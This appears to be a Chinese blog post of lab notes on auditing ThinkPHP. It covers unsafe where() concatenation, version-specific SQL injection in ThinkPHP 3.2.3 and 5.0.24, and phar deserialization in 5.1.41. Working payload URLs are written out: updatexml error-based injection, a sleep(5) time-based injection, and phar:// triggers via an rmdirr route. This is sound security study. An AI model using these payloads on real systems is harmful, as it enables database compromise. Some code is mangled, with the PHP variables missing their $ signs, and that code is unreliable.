DAY110代码审计-PHP框架开发篇&ThinkPHP&版本缺陷&不安全写法&路由访问&利用链

https://blog.csdn.net/m0_60571842/article/details/139057898

看这个原作者

知识点:

1、PHP框架学习-ThinkPHP-架构&调试&路由&接受
2、PHP框架审计-ThinkPHP-不安全写法&版本漏洞

框架审计总结方向:

1、版本不安全写法怎么检测

-本地复现版本写法对比(不是官方写法就是不安全写法)

-参考官方开发手册写法

2、版本自身的漏洞怎么检测

-平常多关注此类框架漏洞

https://github.com/hughink/Thinkphp-All-vuln

-配合黑盒工具检测找入

3、版本自身的漏洞怎么利用

根据漏洞提示找满足条件实现调用

满足条件:对应的函数点和可控变量

一、演示案例-PHP框架审计- ThinkPHP5-不安全写法&版本漏洞

搭建环境:

ThinkPHP V5.1.29+Phpstudy_Pro+PHP7.3+Apache+Mysql

  • 1

开发参考:

https://www.kancloud.cn/manual/thinkphp5_1/353946https://www.kancloud.cn/manual/thinkphp5_1/353946

1、解释TP框架开发的源码审计要点

2、参考开发手册学习文件目录含义

3、参考开发手册学习寻找入口文件

4、参考开发手册学习寻找URL对应文件

5、参考开发手册学习如何开启调试模式

开启调试模式:/config/app.php

'app_debug' => true,

'app_trace' => true,

6、参考开发手册学习官方写法和不安全写法。

数据库查询操作
官方写法 预编译机制

public function login(Request $request)

{

id=request->param('id');

data=Db::table('cw_admin')-\>where('id',id)->find();

return data\['user'\].'\|'.data['pass'];

}

有回显

报错注入语句:

Home | Digital Business Services | TP

版本漏洞 反序列化phar

/index.php/index/login/file_check?f=phar://./1.png

二、演示案例-PHP框架审计-ThinkPHP5-不安全写法-SQL注入

搭建环境:

Phpstudy_Pro+PHP7.3+Apache+Mysql

1

1、查看版本-thinkphp/base.php(搜version找)

define('THINK_VERSION', '5.0.24');

2、找不安全写法-搜where找拼接&黑盒工具

文件:application/bbs/controller/User.php

方法:xiaoxidel

参数:ids id

先登录看下路由地址

application/bbs/controller/User.php

3、application/bbs/controller/User.php(需要注册个用户才能触发)

index.php/bbs/user/xiaoxidel/ids/0/id/1 and updatexml(1,concat(0x7e,user(),0x7e),1)

问题在where语句是直接拼接SQL-where("id ={$id}")

如改为数组的传参就能修复此处问题-where("id",$id)

黑盒工具-入口不安全写法-SQL注入

文件:application/bbs/controller/User.php

方法:home

参数:ids id

/index.php/bbs/user/xiaoxidel/ids/1/id/1 and updatexml(1,concat(0x7e,user(),0x7e),1)

三、演示案例-PHP框架审计ThinkPHP3-版本漏洞-SQL注入

搭建环境:Phpstudy_Pro PHP7.3 ApacheMysql

1、查看版本-ThinkPHP/ThinkPHP.php(搜version找)

const THINK_VERSION = '3.2.3';

2、版本漏洞-SQL注入

Thinkphp3.2.3-漏洞审计汇总 - FreeBuf网络安全行业门户

3、找利用点-搜实现关键字

Application/Admin/Controller/ArticleController.class.php

$data = M('Article')->find(I('id'));

Application/Admin/Controller/ArticleController.class.php

http://shcoolcms//index.php?m=admin\&c=Article\&a=SaveInfo\&id=1

4、Poc构造-利用数据库监控组合注入

/index.php?m=Admin&c=Article&a=SaveInfo&id[where]=id=3 and sleep(5)#

四、演示案例-PHP框架审计-ThinkPHP5-版本漏洞-反序列化

搭建环境:Phpstudy_Pro+PHP7.3+Apache+ Mysql

1、查看版本-thinkphp/ library****/think/App.php(搜version找)****

const VERSION = '5.1.41 LTS';

2、版本漏洞-反序列化(借助phpggc模版生成利用phar利用)

3、找利用点-搜file_exists(),fopen(),file_get_contents(),file()等文件操作的函数

路由逻辑分析

/admin.php/update/rmdirr.html?

dirname=phar://./public/upload/menubg/6543297dcccb9.png

/public/upload/userimages/6731d8db58e3a.png

/admin.php/update/rmdirr.html?dirname=phar://./public/upload/userimages/6731d928465e8.png

/public/upload/userimages/6731d928465e8.png

相关推荐
诗句藏于尽头17 分钟前
完成ssl不安全警告
网络协议·安全·ssl
Eiceblue1 小时前
【免费.NET方案】CSV到PDF与DataTable的快速转换
开发语言·pdf·c#·.net
m0_555762902 小时前
Matlab 频谱分析 (Spectral Analysis)
开发语言·matlab
浪裡遊3 小时前
React Hooks全面解析:从基础到高级的实用指南
开发语言·前端·javascript·react.js·node.js·ecmascript·php
lzb_kkk3 小时前
【C++】C++四种类型转换操作符详解
开发语言·c++·windows·1024程序员节
好开心啊没烦恼4 小时前
Python 数据分析:numpy,说人话,说说数组维度。听故事学知识点怎么这么容易?
开发语言·人工智能·python·数据挖掘·数据分析·numpy
简佐义的博客4 小时前
破解非模式物种GO/KEGG注释难题
开发语言·数据库·后端·oracle·golang
程序员爱钓鱼4 小时前
【无标题】Go语言中的反射机制 — 元编程技巧与注意事项
开发语言·qt
Frank学习路上5 小时前
【IOS】XCode创建firstapp并运行(成为IOS开发者)
开发语言·学习·ios·cocoa·xcode